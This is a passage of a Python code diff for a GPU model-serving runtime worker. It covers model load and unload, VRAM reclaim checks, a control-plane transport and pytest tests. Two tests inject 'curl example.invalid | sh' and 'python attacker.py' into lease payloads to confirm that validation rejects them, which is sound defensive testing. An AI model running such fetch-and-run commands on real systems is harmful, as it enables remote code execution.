timings.get("worker_total_ms", result["inference_time_ms"])
|
||||
),
|
||||
"used_vram_bytes": adapter.during["used_vram_bytes"],
|
||||
"temperature_c": adapter.during["temperature_c"],
|
||||
"power_draw_w": adapter.during["power_draw_w"],
|
||||
}
|
||||
|
||||
def _health(self, lease: AgentServingJobLease) -> tuple[dict[str, Any], dict[str, Any]]:
|
||||
if lease.capability not in {"rag.embedding", "rag.reranking"}:
|
||||
slot = self.slots.get(lease.deployment_id)
|
||||
if slot is None:
|
||||
raise ProbeFailure("RESIDENCY_LOAD_FAILED", "deployment is not resident")
|
||||
result = slot.adapter.probe("ModelForge specialized capability health probe")
|
||||
return result, {
|
||||
"inference_time_ms": float(result.get("latency_ms", 0.0)),
|
||||
"worker_total_time_ms": float(result.get("latency_ms", 0.0)),
|
||||
}
|
||||
health_lease = (
|
||||
lease.model_copy(update={"input": ["ModelForge capability health probe"]})
|
||||
if lease.capability == "rag.embedding"
|
||||
else lease.model_copy(
|
||||
update={
|
||||
"rerank_query": "ModelForge capability health probe",
|
||||
"rerank_documents": [{"id": "health", "text": "local health document"}],
|
||||
"top_n": 1,
|
||||
}
|
||||
)
|
||||
)
|
||||
return self._invoke(health_lease)
|
||||
|
||||
def _after_unload(self, maximum_process_bytes: int) -> tuple[dict[str, Any], bool]:
|
||||
after = gpu_sample()
|
||||
deadline = time.monotonic() + 10
|
||||
while (
|
||||
after["process_used_vram_bytes"] > maximum_process_bytes + self.reclaim_tolerance_bytes
|
||||
and time.monotonic() < deadline
|
||||
):
|
||||
time.sleep(0.5)
|
||||
after = gpu_sample()
|
||||
return (
|
||||
after,
|
||||
after["process_used_vram_bytes"]
|
||||
<= maximum_process_bytes + self.reclaim_tolerance_bytes,
|
||||
)
|
||||
|
||||
def _unload(self, lease: AgentServingJobLease) -> tuple[dict[str, Any], dict[str, Any]]:
|
||||
slot = self.slots.get(lease.deployment_id)
|
||||
if slot is None:
|
||||
self._transition_state = "warm" if self.slots else "cold"
|
||||
return {"reclaimed": True, "already_cold": True}, {
|
||||
"after_unload_vram_bytes": gpu_sample()["used_vram_bytes"],
|
||||
"reclaimed_vram_bytes": 0,
|
||||
}
|
||||
self._last_deployment_id = lease.deployment_id
|
||||
self._transition_state = "unloading"
|
||||
process_peak = max(
|
||||
slot.loaded_process_vram_bytes,
|
||||
int(slot.adapter.during.get("process_used_vram_bytes", 0)),
|
||||
)
|
||||
before_unload = gpu_sample()
|
||||
resident_bytes = max(0, slot.loaded_process_vram_bytes - slot.baseline_process_vram_bytes)
|
||||
slot.adapter.stop()
|
||||
slot.adapter.unload()
|
||||
maximum_after = max(
|
||||
slot.baseline_process_vram_bytes,
|
||||
int(before_unload["process_used_vram_bytes"]) - resident_bytes,
|
||||
)
|
||||
after, reclaimed = self._after_unload(maximum_after)
|
||||
if not reclaimed:
|
||||
self._transition_state = "failed"
|
||||
raise ProbeFailure("GPU_MEMORY_NOT_RECLAIMED", "GPU memory did not return to baseline")
|
||||
reclaimed_bytes = max(0, process_peak - int(after["process_used_vram_bytes"]))
|
||||
del self.slots[lease.deployment_id]
|
||||
self._last_deployment_id = next(reversed(self.slots), None)
|
||||
self._transition_state = "warm" if self.slots else "cold"
|
||||
return {"reclaimed": True}, {
|
||||
"after_unload_vram_bytes": after["used_vram_bytes"],
|
||||
"after_unload_process_vram_bytes": after["process_used_vram_bytes"],
|
||||
"reclaimed_vram_bytes": reclaimed_bytes,
|
||||
"temperature_c": after["temperature_c"],
|
||||
"power_draw_w": after["power_draw_w"],
|
||||
}
|
||||
|
||||
def execute(self, raw_lease: dict[str, Any]) -> AgentServingJobComplete:
|
||||
lease = AgentServingJobLease.model_validate(raw_lease)
|
||||
if lease.operation == "load":
|
||||
result, metrics = self._load(lease)
|
||||
elif lease.operation == "invoke":
|
||||
result, metrics = self._invoke(lease)
|
||||
elif lease.operation == "health":
|
||||
result, metrics = self._health(lease)
|
||||
elif lease.operation == "drain":
|
||||
slot = self.slots.get(lease.deployment_id)
|
||||
if slot:
|
||||
slot.state = "draining"
|
||||
self._transition_state = "draining"
|
||||
result, metrics = {"drained": True}, {}
|
||||
elif lease.operation == "unload":
|
||||
result, metrics = self._unload(lease)
|
||||
else: # pragma: no cover - Literal plus Pydantic close this boundary.
|
||||
raise ProbeFailure("RUNTIME_INCOMPATIBLE", "unknown serving operation")
|
||||
runtime_facts = (
|
||||
self.slots[lease.deployment_id].adapter.collect_runtime_facts(
|
||||
lease.model_dump(mode="json")
|
||||
)
|
||||
if lease.deployment_id in self.slots
|
||||
else {"offline_local_only": True, "trust_remote_code": False, "network_attempts": 0}
|
||||
)
|
||||
return AgentServingJobComplete(
|
||||
lease_token=lease.lease_token,
|
||||
worker_instance_id=self.worker_instance_id,
|
||||
state=self.state,
|
||||
result=result,
|
||||
metrics=metrics,
|
||||
health=self.health,
|
||||
runtime_facts=runtime_facts,
|
||||
)
|
||||
|
||||
def failure(self, raw_lease: dict[str, Any], exc: ProbeFailure) -> AgentServingJobFailure:
|
||||
lease = AgentServingJobLease.model_validate(raw_lease)
|
||||
if lease.operation in {"load", "unload"}:
|
||||
self._transition_state = "failed"
|
||||
return AgentServingJobFailure(
|
||||
lease_token=lease.lease_token,
|
||||
worker_instance_id=self.worker_instance_id,
|
||||
failure_code=exc.code,
|
||||
failure_message=str(exc),
|
||||
state=self.state,
|
||||
details={"operation": lease.operation, "exception_type": type(exc).__name__},
|
||||
)
|
||||
@@ -0,0 +1,22 @@
|
||||
from pathlib import Path
|
||||
|
||||
from pydantic import Field
|
||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||
|
||||
|
||||
class RuntimeWorkerSettings(BaseSettings):
|
||||
model_config = SettingsConfigDict(
|
||||
env_prefix="MODELFORGE_RUNTIME_WORKER_", env_file=".env", extra="ignore"
|
||||
)
|
||||
|
||||
control_plane_url: str = "http://api:8000"
|
||||
credential_file: Path = Path("/run/secrets/node-credential")
|
||||
artifact_root: Path = Path("/models/model-registry")
|
||||
request_timeout_seconds: float = Field(default=30, gt=0, le=300)
|
||||
poll_interval_seconds: int = Field(default=5, ge=1, le=60)
|
||||
serving_long_poll_seconds: float = Field(default=1.0, ge=0.1, le=5.0)
|
||||
idle_retry_seconds: float = Field(default=0.05, ge=0.01, le=1.0)
|
||||
max_backoff_seconds: int = Field(default=60, ge=1, le=300)
|
||||
tls_verify: bool = True
|
||||
child_timeout_seconds: int = Field(default=300, ge=30, le=900)
|
||||
reclaim_tolerance_bytes: int = Field(default=134217728, ge=0)
|
||||
@@ -0,0 +1,89 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
|
||||
class RuntimeTransport:
|
||||
def __init__(self, base_url: str, timeout: float, verify: bool) -> None:
|
||||
self.client = httpx.Client(base_url=base_url.rstrip("/"), timeout=timeout, verify=verify)
|
||||
|
||||
def _request(
|
||||
self,
|
||||
method: str,
|
||||
path: str,
|
||||
credential: str,
|
||||
payload: dict[str, Any] | None = None,
|
||||
) -> dict[str, Any] | None:
|
||||
response = self.client.request(
|
||||
method,
|
||||
path,
|
||||
json=payload,
|
||||
headers={"Authorization": f"Bearer {credential}"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
if response.status_code == 204 or not response.content:
|
||||
return None
|
||||
decoded = response.json()
|
||||
return dict(decoded) if isinstance(decoded, dict) else None
|
||||
|
||||
def next_probe(self, credential: str) -> dict[str, Any] | None:
|
||||
return self._request("GET", "/api/v1/agent/runtime-probes/next", credential)
|
||||
|
||||
def progress(self, probe_id: str, credential: str, payload: dict[str, Any]) -> dict[str, Any]:
|
||||
return (
|
||||
self._request(
|
||||
"POST", f"/api/v1/agent/runtime-probes/{probe_id}/progress", credential, payload
|
||||
)
|
||||
or {}
|
||||
)
|
||||
|
||||
def complete(self, probe_id: str, credential: str, payload: dict[str, Any]) -> dict[str, Any]:
|
||||
return (
|
||||
self._request(
|
||||
"POST", f"/api/v1/agent/runtime-probes/{probe_id}/complete", credential, payload
|
||||
)
|
||||
or {}
|
||||
)
|
||||
|
||||
def fail(self, probe_id: str, credential: str, payload: dict[str, Any]) -> dict[str, Any]:
|
||||
return (
|
||||
self._request(
|
||||
"POST", f"/api/v1/agent/runtime-probes/{probe_id}/fail", credential, payload
|
||||
)
|
||||
or {}
|
||||
)
|
||||
|
||||
def next_serving_job(
|
||||
self, credential: str, *, wait_seconds: float = 1.0
|
||||
) -> dict[str, Any] | None:
|
||||
return self._request(
|
||||
"GET",
|
||||
f"/api/v1/agent/serving-jobs/next?wait_seconds={wait_seconds:.3f}",
|
||||
credential,
|
||||
)
|
||||
|
||||
def complete_serving_job(
|
||||
self, job_id: str, credential: str, payload: dict[str, Any]
|
||||
) -> dict[str, Any]:
|
||||
return (
|
||||
self._request(
|
||||
"POST", f"/api/v1/agent/serving-jobs/{job_id}/complete", credential, payload
|
||||
)
|
||||
or {}
|
||||
)
|
||||
|
||||
def fail_serving_job(
|
||||
self, job_id: str, credential: str, payload: dict[str, Any]
|
||||
) -> dict[str, Any]:
|
||||
return (
|
||||
self._request("POST", f"/api/v1/agent/serving-jobs/{job_id}/fail", credential, payload)
|
||||
or {}
|
||||
)
|
||||
|
||||
def report_serving_state(self, credential: str, payload: dict[str, Any]) -> dict[str, Any]:
|
||||
return self._request("POST", "/api/v1/agent/serving-state", credential, payload) or {}
|
||||
|
||||
def close(self) -> None:
|
||||
self.client.close()
|
||||
@@ -0,0 +1,234 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import multiprocessing
|
||||
import time
|
||||
from pathlib import Path
|
||||
from queue import Empty
|
||||
from typing import Any, Literal
|
||||
|
||||
from modelforge_runtime_worker.contracts import (
|
||||
AgentRuntimeProbeComplete,
|
||||
AgentRuntimeProbeFailure,
|
||||
AgentRuntimeProbeLease,
|
||||
AgentRuntimeProbeProgress,
|
||||
)
|
||||
from modelforge_runtime_worker.probe import (
|
||||
ProbeFailure,
|
||||
child_entry,
|
||||
confined,
|
||||
gpu_sample,
|
||||
verify_artifacts,
|
||||
)
|
||||
from modelforge_runtime_worker.serving import ServingEngine
|
||||
from modelforge_runtime_worker.settings import RuntimeWorkerSettings
|
||||
from modelforge_runtime_worker.transport import RuntimeTransport
|
||||
|
||||
|
||||
class ProbeCancelled(ProbeFailure):
|
||||
def __init__(self) -> None:
|
||||
super().__init__("CANCELLED", "runtime probe was cancelled")
|
||||
|
||||
|
||||
class RuntimeWorker:
|
||||
def __init__(
|
||||
self,
|
||||
settings: RuntimeWorkerSettings,
|
||||
transport: Any | None = None,
|
||||
) -> None:
|
||||
self.settings = settings
|
||||
self.transport = transport or RuntimeTransport(
|
||||
settings.control_plane_url,
|
||||
settings.request_timeout_seconds,
|
||||
settings.tls_verify,
|
||||
)
|
||||
self.serving = ServingEngine(
|
||||
settings.artifact_root,
|
||||
settings.reclaim_tolerance_bytes,
|
||||
)
|
||||
|
||||
def credential(self) -> str:
|
||||
value = self.settings.credential_file.read_text(encoding="utf-8").strip()
|
||||
if not value:
|
||||
raise RuntimeError("runtime worker node credential is unavailable")
|
||||
return value
|
||||
|
||||
def _progress(
|
||||
self,
|
||||
lease: AgentRuntimeProbeLease,
|
||||
status: Literal["preparing", "loading", "healthchecking", "ready", "unloading"],
|
||||
) -> None:
|
||||
response = self.transport.progress(
|
||||
str(lease.probe_id),
|
||||
self.credential(),
|
||||
AgentRuntimeProbeProgress(
|
||||
lease_token=lease.lease_token,
|
||||
status=status,
|
||||
details={},
|
||||
).model_dump(mode="json"),
|
||||
)
|
||||
if response.get("cancel_requested"):
|
||||
raise ProbeCancelled()
|
||||
|
||||
def _after_unload(self, baseline: dict[str, Any]) -> tuple[dict[str, Any], bool]:
|
||||
after = gpu_sample()
|
||||
deadline = time.monotonic() + 10
|
||||
while (
|
||||
after["used_vram_bytes"]
|
||||
> baseline["used_vram_bytes"] + self.settings.reclaim_tolerance_bytes
|
||||
and time.monotonic() < deadline
|
||||
):
|
||||
time.sleep(0.5)
|
||||
after = gpu_sample()
|
||||
reclaimed = (
|
||||
after["used_vram_bytes"]
|
||||
<= baseline["used_vram_bytes"] + self.settings.reclaim_tolerance_bytes
|
||||
)
|
||||
return after, reclaimed
|
||||
|
||||
def execute(self, raw_lease: dict[str, Any]) -> None:
|
||||
lease = AgentRuntimeProbeLease.model_validate(raw_lease)
|
||||
configured_root = self.settings.artifact_root.resolve()
|
||||
if Path(lease.artifact_root).resolve() != configured_root:
|
||||
raise ProbeFailure(
|
||||
"ARTIFACT_PATH_INVALID", "server artifact root differs from worker root"
|
||||
)
|
||||
model_path = confined(configured_root, lease.artifact_relative_path)
|
||||
self._progress(lease, "preparing")
|
||||
verify_artifacts(model_path, lease.expected_manifest)
|
||||
baseline = gpu_sample()
|
||||
context = multiprocessing.get_context("spawn")
|
||||
queue = context.Queue()
|
||||
process = context.Process(
|
||||
target=child_entry,
|
||||
args=(lease.model_dump(mode="json"), str(model_path), queue),
|
||||
)
|
||||
process.start()
|
||||
result: dict[str, Any] | None = None
|
||||
failure: ProbeFailure | None = None
|
||||
deadline = time.monotonic() + self.settings.child_timeout_seconds
|
||||
while process.is_alive() and time.monotonic() < deadline:
|
||||
try:
|
||||
message = queue.get(timeout=0.5)
|
||||
except Empty:
|
||||
continue
|
||||
if message["type"] == "phase":
|
||||
try:
|
||||
phase = message["value"]
|
||||
if phase not in {"loading", "healthchecking"}:
|
||||
raise ProbeFailure("RUNTIME_CRASH", "worker returned an invalid phase")
|
||||
self._progress(lease, phase)
|
||||
except ProbeCancelled:
|
||||
process.terminate()
|
||||
failure = ProbeCancelled()
|
||||
break
|
||||
elif message["type"] == "result":
|
||||
result = dict(message["value"])
|
||||
elif message["type"] == "failure":
|
||||
failure = ProbeFailure(message["code"], message["message"])
|
||||
if process.is_alive():
|
||||
process.terminate()
|
||||
failure = failure or ProbeFailure("TIMEOUT", "runtime probe child timed out")
|
||||
process.join(timeout=10)
|
||||
while result is None and failure is None:
|
||||
try:
|
||||
message = queue.get_nowait()
|
||||
except Empty:
|
||||
break
|
||||
if message["type"] == "result":
|
||||
result = dict(message["value"])
|
||||
elif message["type"] == "failure":
|
||||
failure = ProbeFailure(message["code"], message["message"])
|
||||
after, reclaimed = self._after_unload(baseline)
|
||||
if failure:
|
||||
raise failure
|
||||
if not result:
|
||||
raise ProbeFailure("RUNTIME_CRASH", "runtime probe child returned no result")
|
||||
self._progress(lease, "ready")
|
||||
self._progress(lease, "unloading")
|
||||
result["measured_resources"]["samples"]["after_unload"] = after
|
||||
result["measured_resources"]["after_unload_vram_bytes"] = after["used_vram_bytes"]
|
||||
result["measured_resources"]["reclaimed_vram_bytes"] = max(
|
||||
0,
|
||||
result["measured_resources"]["peak_vram_bytes"] - after["used_vram_bytes"],
|
||||
)
|
||||
result["unload_result"] = {
|
||||
"status": "passed" if reclaimed else "failed",
|
||||
"process_exited": process.exitcode == 0,
|
||||
"reclaimed": reclaimed,
|
||||
"baseline_tolerance_bytes": self.settings.reclaim_tolerance_bytes,
|
||||
}
|
||||
if not reclaimed:
|
||||
raise ProbeFailure("GPU_MEMORY_NOT_RECLAIMED", "GPU memory did not return to baseline")
|
||||
payload = AgentRuntimeProbeComplete(
|
||||
lease_token=lease.lease_token,
|
||||
**result,
|
||||
)
|
||||
self.transport.complete(
|
||||
str(lease.probe_id), self.credential(), payload.model_dump(mode="json")
|
||||
)
|
||||
|
||||
def run_once(self) -> bool:
|
||||
credential = self.credential()
|
||||
if hasattr(self.transport, "report_serving_state"):
|
||||
self.transport.report_serving_state(
|
||||
credential,
|
||||
self.serving.state_report().model_dump(mode="json"),
|
||||
)
|
||||
if hasattr(self.transport, "next_serving_job"):
|
||||
try:
|
||||
serving_lease = self.transport.next_serving_job(
|
||||
credential,
|
||||
wait_seconds=self.settings.serving_long_poll_seconds,
|
||||
)
|
||||
except TypeError:
|
||||
# Compatibility for injected M5/M6 test transports and a rolling
|
||||
# control-plane/worker deployment. Production transport is typed.
|
||||
serving_lease = self.transport.next_serving_job(credential)
|
||||
if serving_lease:
|
||||
job_id = str(serving_lease["job_id"])
|
||||
try:
|
||||
completed = self.serving.execute(serving_lease)
|
||||
self.transport.complete_serving_job(
|
||||
job_id,
|
||||
credential,
|
||||
completed.model_dump(mode="json"),
|
||||
)
|
||||
except ProbeFailure as exc:
|
||||
failure = self.serving.failure(serving_lease, exc)
|
||||
self.transport.fail_serving_job(
|
||||
job_id,
|
||||
credential,
|
||||
failure.model_dump(mode="json"),
|
||||
)
|
||||
except (OSError, RuntimeError, ValueError, KeyError) as exc:
|
||||
failure = self.serving.failure(
|
||||
serving_lease,
|
||||
ProbeFailure("RUNTIME_CRASH", type(exc).__name__),
|
||||
)
|
||||
self.transport.fail_serving_job(
|
||||
job_id,
|
||||
credential,
|
||||
failure.model_dump(mode="json"),
|
||||
)
|
||||
return True
|
||||
lease = self.transport.next_probe(credential)
|
||||
if not lease:
|
||||
return False
|
||||
try:
|
||||
self.execute(lease)
|
||||
except ProbeFailure as exc:
|
||||
validated = AgentRuntimeProbeLease.model_validate(lease)
|
||||
self.transport.fail(
|
||||
str(validated.probe_id),
|
||||
credential,
|
||||
AgentRuntimeProbeFailure(
|
||||
lease_token=validated.lease_token,
|
||||
failure_code=exc.code,
|
||||
failure_message=str(exc),
|
||||
details={"exception_type": type(exc).__name__},
|
||||
).model_dump(mode="json"),
|
||||
)
|
||||
return True
|
||||
|
||||
def close(self) -> None:
|
||||
self.transport.close()
|
||||
@@ -0,0 +1,609 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import socket
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import pytest
|
||||
from pydantic import ValidationError
|
||||
|
||||
from modelforge_runtime_worker.adapters import (
|
||||
QwenRerankerAdapter,
|
||||
SentenceTransformersAdapter,
|
||||
Siglip2Adapter,
|
||||
TrOCRAdapter,
|
||||
WhisperAdapter,
|
||||
adapter_for,
|
||||
)
|
||||
from modelforge_runtime_worker.contracts import AgentRuntimeProbeLease, AgentServingJobLease
|
||||
from modelforge_runtime_worker.probe import (
|
||||
ProbeFailure,
|
||||
child_entry,
|
||||
confined,
|
||||
deny_external_network,
|
||||
verify_artifacts,
|
||||
)
|
||||
from modelforge_runtime_worker.serving import ServingEngine
|
||||
from modelforge_runtime_worker.settings import RuntimeWorkerSettings
|
||||
from modelforge_runtime_worker.transport import RuntimeTransport
|
||||
from modelforge_runtime_worker.worker import ProbeCancelled, RuntimeWorker
|
||||
|
||||
|
||||
class FakeTransport:
|
||||
def __init__(self, lease: dict[str, Any] | None = None) -> None:
|
||||
self.lease = lease
|
||||
self.progress_responses: list[dict[str, Any]] = []
|
||||
self.failures: list[dict[str, Any]] = []
|
||||
self.completed: list[dict[str, Any]] = []
|
||||
|
||||
def next_probe(self, _credential: str) -> dict[str, Any] | None:
|
||||
value, self.lease = self.lease, None
|
||||
return value
|
||||
|
||||
def progress(self, _probe_id: str, _credential: str, _payload: dict[str, Any]):
|
||||
return (
|
||||
self.progress_responses.pop(0)
|
||||
if self.progress_responses
|
||||
else {"cancel_requested": False}
|
||||
)
|
||||
|
||||
def complete(self, _probe_id: str, _credential: str, payload: dict[str, Any]):
|
||||
self.completed.append(payload)
|
||||
return {}
|
||||
|
||||
def fail(self, _probe_id: str, _credential: str, payload: dict[str, Any]):
|
||||
self.failures.append(payload)
|
||||
return {}
|
||||
|
||||
def close(self) -> None:
|
||||
pass
|
||||
|
||||
|
||||
def lease_payload() -> dict[str, Any]:
|
||||
return {
|
||||
"probe_id": "00000000-0000-0000-0000-000000000001",
|
||||
"lease_token": "x" * 32,
|
||||
"lease_expires_at": "2030-01-01T00:00:00Z",
|
||||
"artifact_set_id": "00000000-0000-0000-0000-000000000002",
|
||||
"revision_sha": "a" * 40,
|
||||
"artifact_root": "/models",
|
||||
"artifact_relative_path": "repositories/model/" + "a" * 40,
|
||||
"expected_manifest": {"files": []},
|
||||
"runtime_profile": {
|
||||
"id": "00000000-0000-0000-0000-000000000003",
|
||||
"adapter": "sentence_transformers",
|
||||
"max_sequence_length": 128,
|
||||
},
|
||||
"runtime_environment": {
|
||||
"image_digest": "sha256:" + "b" * 64,
|
||||
"fingerprint": "c" * 64,
|
||||
},
|
||||
"probe_input": "ModelForge runtime compatibility probe",
|
||||
}
|
||||
|
||||
|
||||
def serving_lease_payload(operation: str = "load") -> dict[str, Any]:
|
||||
return {
|
||||
"job_id": "00000000-0000-0000-0000-000000000010",
|
||||
"lease_token": "s" * 32,
|
||||
"lease_expires_at": "2030-01-01T00:00:00Z",
|
||||
"operation": operation,
|
||||
"deployment_id": "00000000-0000-0000-0000-000000000011",
|
||||
"artifact_set_id": "00000000-0000-0000-0000-000000000002",
|
||||
"revision_sha": "a" * 40,
|
||||
"artifact_root": "/models",
|
||||
"artifact_relative_path": "repositories/model/" + "a" * 40,
|
||||
"expected_manifest": {"files": []},
|
||||
"runtime_profile": {
|
||||
"id": "00000000-0000-0000-0000-000000000003",
|
||||
"adapter": "sentence_transformers",
|
||||
"max_sequence_length": 128,
|
||||
"trust_remote_code": False,
|
||||
"network_egress": False,
|
||||
},
|
||||
"runtime_environment": {
|
||||
"image_digest": "sha256:" + "b" * 64,
|
||||
"fingerprint": "c" * 64,
|
||||
},
|
||||
"embedding_space_id": "00000000-0000-0000-0000-000000000012",
|
||||
"expected_dimension": 1024,
|
||||
"normalize": True,
|
||||
"input": ["ModelForge serving"] if operation in {"invoke", "health"} else None,
|
||||
"request_id": "00000000-0000-0000-0000-000000000013",
|
||||
}
|
||||
|
||||
|
||||
def make_settings(tmp_path: Path) -> RuntimeWorkerSettings:
|
||||
credential = tmp_path / "credential"
|
||||
credential.write_text("credential", encoding="utf-8")
|
||||
return RuntimeWorkerSettings(
|
||||
credential_file=credential,
|
||||
artifact_root=tmp_path / "models",
|
||||
tls_verify=False,
|
||||
)
|
||||
|
||||
|
||||
def test_artifact_verification_streams_exact_digest_and_size(tmp_path: Path) -> None:
|
||||
root = tmp_path / "set"
|
||||
root.mkdir()
|
||||
payload = b"verified-runtime-artifact"
|
||||
(root / "model.safetensors").write_bytes(payload)
|
||||
verify_artifacts(
|
||||
root,
|
||||
{
|
||||
"files": [
|
||||
{
|
||||
"path": "model.safetensors",
|
||||
"size_bytes": len(payload),
|
||||
"sha256": hashlib.sha256(payload).hexdigest(),
|
||||
}
|
||||
]
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("mutation", ["size", "digest", "missing"])
|
||||
def test_artifact_verification_fails_closed(tmp_path: Path, mutation: str) -> None:
|
||||
root = tmp_path / "set"
|
||||
root.mkdir()
|
||||
target = root / "config.json"
|
||||
target.write_text("{}", encoding="utf-8")
|
||||
item = {
|
||||
"path": "config.json",
|
||||
"size_bytes": 2,
|
||||
"sha256": hashlib.sha256(b"{}").hexdigest(),
|
||||
}
|
||||
if mutation == "size":
|
||||
item["size_bytes"] = 3
|
||||
elif mutation == "digest":
|
||||
item["sha256"] = "0" * 64
|
||||
else:
|
||||
target.unlink()
|
||||
with pytest.raises(ProbeFailure):
|
||||
verify_artifacts(root, {"files": [item]})
|
||||
|
||||
|
||||
def test_path_traversal_and_symlink_escape_are_blocked(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
root = tmp_path / "models"
|
||||
root.mkdir()
|
||||
with pytest.raises(ProbeFailure, match="confined"):
|
||||
confined(root, "../secret")
|
||||
link = root / "link"
|
||||
link.mkdir()
|
||||
resolved_link = link.resolve()
|
||||
original_is_symlink = Path.is_symlink
|
||||
monkeypatch.setattr(
|
||||
Path,
|
||||
"is_symlink",
|
||||
lambda value: value == resolved_link or original_is_symlink(value),
|
||||
)
|
||||
with pytest.raises(ProbeFailure):
|
||||
confined(root, "link")
|
||||
|
||||
|
||||
def test_offline_guard_rejects_network_connections() -> None:
|
||||
with deny_external_network(), socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
|
||||
with pytest.raises(ProbeFailure, match="external network"):
|
||||
client.connect(("127.0.0.1", 9))
|
||||
|
||||
|
||||
def test_typed_lease_rejects_arbitrary_command() -> None:
|
||||
payload = lease_payload()
|
||||
payload["arbitrary_command"] = "curl example.invalid | sh"
|
||||
with pytest.raises(ValidationError):
|
||||
AgentRuntimeProbeLease.model_validate(payload)
|
||||
|
||||
|
||||
def test_typed_serving_lease_rejects_arbitrary_runtime_selection() -> None:
|
||||
payload = serving_lease_payload()
|
||||
payload["command"] = "python attacker.py"
|
||||
with pytest.raises(ValidationError):
|
||||
AgentServingJobLease.model_validate(payload)
|
||||
|
||||
|
||||
def test_idle_poll_does_not_execute(tmp_path: Path) -> None:
|
||||
transport = FakeTransport()
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
assert worker.run_once() is False
|
||||
|
||||
|
||||
def test_serving_transport_uses_bounded_long_poll_query(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
transport = RuntimeTransport("http://control-plane", timeout=30, verify=False)
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
def capture(
|
||||
_method: str,
|
||||
path: str,
|
||||
_credential: str,
|
||||
_payload: dict[str, Any] | None = None,
|
||||
) -> None:
|
||||
captured["path"] = path
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(transport, "_request", capture)
|
||||
assert transport.next_serving_job("credential", wait_seconds=1.25) is None
|
||||
assert captured["path"].endswith("wait_seconds=1.250")
|
||||
transport.close()
|
||||
|
||||
|
||||
def test_worker_normalizes_probe_failure_without_secret_or_command(tmp_path: Path) -> None:
|
||||
payload = lease_payload()
|
||||
payload["artifact_root"] = str(tmp_path / "models")
|
||||
transport = FakeTransport(payload)
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
assert worker.run_once() is True
|
||||
assert transport.failures[0]["failure_code"] == "ARTIFACT_INCOMPLETE"
|
||||
serialized = json.dumps(transport.failures)
|
||||
assert "credential" not in serialized
|
||||
assert "command" not in serialized
|
||||
|
||||
|
||||
def test_cancellation_is_acknowledged_at_progress_boundary(tmp_path: Path) -> None:
|
||||
payload = lease_payload()
|
||||
transport = FakeTransport()
|
||||
transport.progress_responses.append({"cancel_requested": True})
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
with pytest.raises(ProbeCancelled):
|
||||
worker._progress(AgentRuntimeProbeLease.model_validate(payload), "loading")
|
||||
|
||||
|
||||
class CaptureQueue:
|
||||
def __init__(self) -> None:
|
||||
self.messages: list[dict[str, Any]] = []
|
||||
|
||||
def put(self, message: dict[str, Any]) -> None:
|
||||
self.messages.append(message)
|
||||
|
||||
|
||||
def test_adapter_registry_is_typed_and_rejects_unimplemented_runtime() -> None:
|
||||
assert isinstance(adapter_for("sentence_transformers"), SentenceTransformersAdapter)
|
||||
assert isinstance(adapter_for("qwen3_reranker"), QwenRerankerAdapter)
|
||||
assert isinstance(adapter_for("transformers_trocr"), TrOCRAdapter)
|
||||
assert isinstance(adapter_for("transformers_siglip2"), Siglip2Adapter)
|
||||
assert isinstance(adapter_for("transformers_whisper"), WhisperAdapter)
|
||||
with pytest.raises(ProbeFailure, match="not executable"):
|
||||
adapter_for("vllm")
|
||||
|
||||
|
||||
def test_siglip_text_item_is_not_misclassified_when_optional_image_is_null() -> None:
|
||||
assert (
|
||||
Siglip2Adapter.item_modality(
|
||||
{"image_base64": None, "media_type": None, "text": "a blue circle"}
|
||||
)
|
||||
== "text"
|
||||
)
|
||||
assert (
|
||||
Siglip2Adapter.item_modality(
|
||||
{"image_base64": "cG5n", "media_type": "image/png", "text": None}
|
||||
)
|
||||
== "image"
|
||||
)
|
||||
with pytest.raises(ProbeFailure, match="no supported content"):
|
||||
Siglip2Adapter.item_modality({"image_base64": None, "media_type": None, "text": " "})
|
||||
|
||||
|
||||
def test_child_normalizes_gpu_oom_without_exception_details(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
queue = CaptureQueue()
|
||||
|
||||
def oom(_path: Path, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
raise RuntimeError("CUDA out of memory: sensitive allocator details")
|
||||
|
||||
monkeypatch.setattr("modelforge_runtime_worker.probe.run_sentence_transformers_probe", oom)
|
||||
child_entry(lease_payload(), "/models/exact", queue)
|
||||
assert queue.messages[-1] == {
|
||||
"type": "failure",
|
||||
"code": "GPU_OOM",
|
||||
"message": "RuntimeError",
|
||||
}
|
||||
|
||||
|
||||
def test_child_normalizes_unexpected_worker_crash(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
queue = CaptureQueue()
|
||||
|
||||
def crash(_path: Path, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
raise ValueError("secret should not cross process boundary")
|
||||
|
||||
monkeypatch.setattr("modelforge_runtime_worker.probe.run_sentence_transformers_probe", crash)
|
||||
child_entry(lease_payload(), "/models/exact", queue)
|
||||
assert queue.messages[-1]["code"] == "RUNTIME_CRASH"
|
||||
assert queue.messages[-1]["message"] == "ValueError"
|
||||
|
||||
|
||||
def test_unload_reclamation_failure_is_detected_without_claiming_success(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
worker = RuntimeWorker(make_settings(tmp_path), FakeTransport())
|
||||
samples = iter(
|
||||
[
|
||||
{"used_vram_bytes": 500 * 1024**2},
|
||||
{"used_vram_bytes": 500 * 1024**2},
|
||||
]
|
||||
)
|
||||
times = iter([0.0, 11.0])
|
||||
monkeypatch.setattr("modelforge_runtime_worker.worker.gpu_sample", lambda: next(samples))
|
||||
